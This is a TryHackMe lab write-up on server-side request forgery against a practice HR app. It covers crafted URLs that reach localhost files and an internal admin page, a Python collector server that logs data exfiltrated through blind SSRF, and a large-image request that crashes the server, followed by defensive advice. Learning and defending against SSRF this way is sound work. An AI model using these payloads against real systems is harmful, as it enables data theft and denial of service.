TryHackMe: SSRF



This content originally appeared on DEV Community and was authored by Sean Lee

What is SSRF

When developing networked software, it’s common to make requests to external servers. Developers often use these requests to fetch remote resources like software updates or import data from other applications. While these requests are typically safe, improper implementation can lead to a vulnerability known as SSRF.

To execute an SSRF attack, an attacker can manipulate a parameter value within the vulnerable software, effectively creating or controlling requests from that software and directing them towards other servers or even the same server.

Effects of SSRF

  • Data Exposure: Attackers can manipulate requests to access sensitive internal data.
  • Reconnaissance: Used for internal network port scanning via malicious scripts.
  • Denial of Service: Overloading internal servers with requests, making them unavailable.

Types of SSRF – Basic

Basic SSRF is a web attack technique where an attacker tricks a server into making requests on their behalf.

Scenario – I: SSRF Against a Local Server

In this attack, the attacker makes an unauthorised request to the server hosting the web application, and uses loopback IP or localhost to capture responses. Vulnerability arises due to how the application handles input from the query parameter or API calls.

Example: http://hrms.thm?url=localhost/copyright

$uri = rtrim($_GET['url'], "/");
...                 
$path = ROOTPATH . $file;
...
if (file_exists($path)) {
  echo "<pre>";
  echo htmlspecialchars(file_get_contents($path));
  echo "</pre>";
  } else { ?>
    <p class="text-xl"><?= ltrim($file, "/") ?> is not found</p>
 <?php
... 

We have the source code as well as the URL examples here. The URL redirects the user to /var/www/html/localhost/copyright.

We can see in the above code that the input parameter url lacks adequate filtering and loads whatever the parameter is provided from the localhost.

We can exploit this by replacing copyright with config and other common important file names.

Scenario – II: Accessing an Internal Server

In this scenario, an attacker exploits a vulnerable web application’s input validation to trick the server into requesting internal resources on the same network. They could provide a malicious URL as input, making the server interact with the internal server on their behalf.

In this example, we will attempt to access http://192.168.2.10/admin.php.

Employee page HRMS web page

Inspecting the source code, we see that the options Employee and Salary are both accessing similar web servers compared to the one we are trying to gain access to.

We can use this as an attack vector, replacing the http://192.168.2.10/salary.php with http://192.168.2.10/admin.php. This way we are redirected to http://192.168.2.10/admin.php when the Salary option is chosen.

Types of SSRF – Blind

Blind SSRF refers to a scenario where the attacker can send requests to a target server, but they are blind to server’s responses.

Blind SSRF Out-Of-Band

  • Uses out-of-band communication channel instead of a direct one

In this example, a web page is sending analytics data to the backend server with no input sanitisation, URL=http://hrms.thm/profile.php?url=localhost/getInfo.php.

profile page on the HRMS app

Here, an attacker can redirect the request to their server, thus getting additional information for exploitation or data pilferage.

From here, we can craft a payload named server.py like so:

from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):

    def end_headers(self):
        self.send_header('Access-Control-Allow-Origin', '*')  # Allow requests from any origin
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        super().end_headers()

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello, GET request!')

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')

        self.send_response(200)
        self.end_headers()

        # Log the POST data to data.html
        with open('data.html', 'a') as file:
            file.write(post_data + '\n')
        response = f'THM, POST request! Received data: {post_data}'
        self.wfile.write(response.encode('utf-8'))

if __name__ == '__main__':
    server_address = ('', 8080)
    httpd = HTTPServer(server_address, CustomRequestHandler)
    print('Server running on http://localhost:8080/')
    httpd.serve_forever()

This payload hosts a web server on port 8080 and logs the POST data into data.html file.

To run: sudo chmod +x server.py && sudo python3 server.py

Semi-Blind SSRF (Time-based)

Time-based SSRF is a variation of SSRF where the attacker leverages timing-related clues or delays to infer the success or failure of their malicious requests. By observing how long it takes for the application to respond, the attacker can make educated guesses about whether their SSRF attack was successful.

The attacker sends a series of requests, each targeting a different resource or URL. The attacker measures the response times for each request. If a response takes significantly longer, it may indicate that the server successfully accessed the targeted resource, implying a successful SSRF attack.

A Classic Example – Crashing the Server

In this example, the attacker might input a URL pointing to a large file on a slow server or a service that responds with an overwhelming amount of data. When the vulnerable application naively accesses this URL, it engages in an action that exhausts its own system resources, leading to a slowdown or complete crash.

We can access website’s Training section using URL below. It displays an image, to which its path is specified in the URL itself.

http://hrms.thm/url.php?id=192.168.2.10/trainingbanner.jpg

We see the website has a code snippet as follows:

<?php
....
....
    if ($imageSize < 100) {
          // Output the image if it's within the size limit

        $base64Image = downloadAndEncodeImage($imageUrl);
        echo '<img src="' . htmlspecialchars($base64Image) . '" alt="Image" style="width: 100%; height: 100%; object-fit: cover;">';

    } else {
        // Memory Outage - server will crash

....
...

This essentially means the server will crash as soon as it loads an image exceeding 100KB.

Assuming we get to send the image >100KB to the web server, we can access it using URL below, causing the website to crash.

http://hrms.thm/url.php?id=192.168.2.10/bigImage.jpg

Remedial Measures

  • Strict Input Validation: Sanitize all user-provided input, especially URLs or parameters used in external requests.
  • Use Allowlists: Instead of blocklisting URLs, only permit requests to trusted domains.
  • Network Segmentation: Isolate sensitive internal resources to prevent unauthorized access.
  • Security Headers: Implement headers like Content-Security-Policy to restrict loading external resources.
  • Strong Access Controls: Ensure internal resources require proper authorization, even if an attacker sends a request.
  • Logging & Monitoring: Track incoming requests, detect anomalies, and set up alerts for suspicious activity.


This content originally appeared on DEV Community and was authored by Sean Lee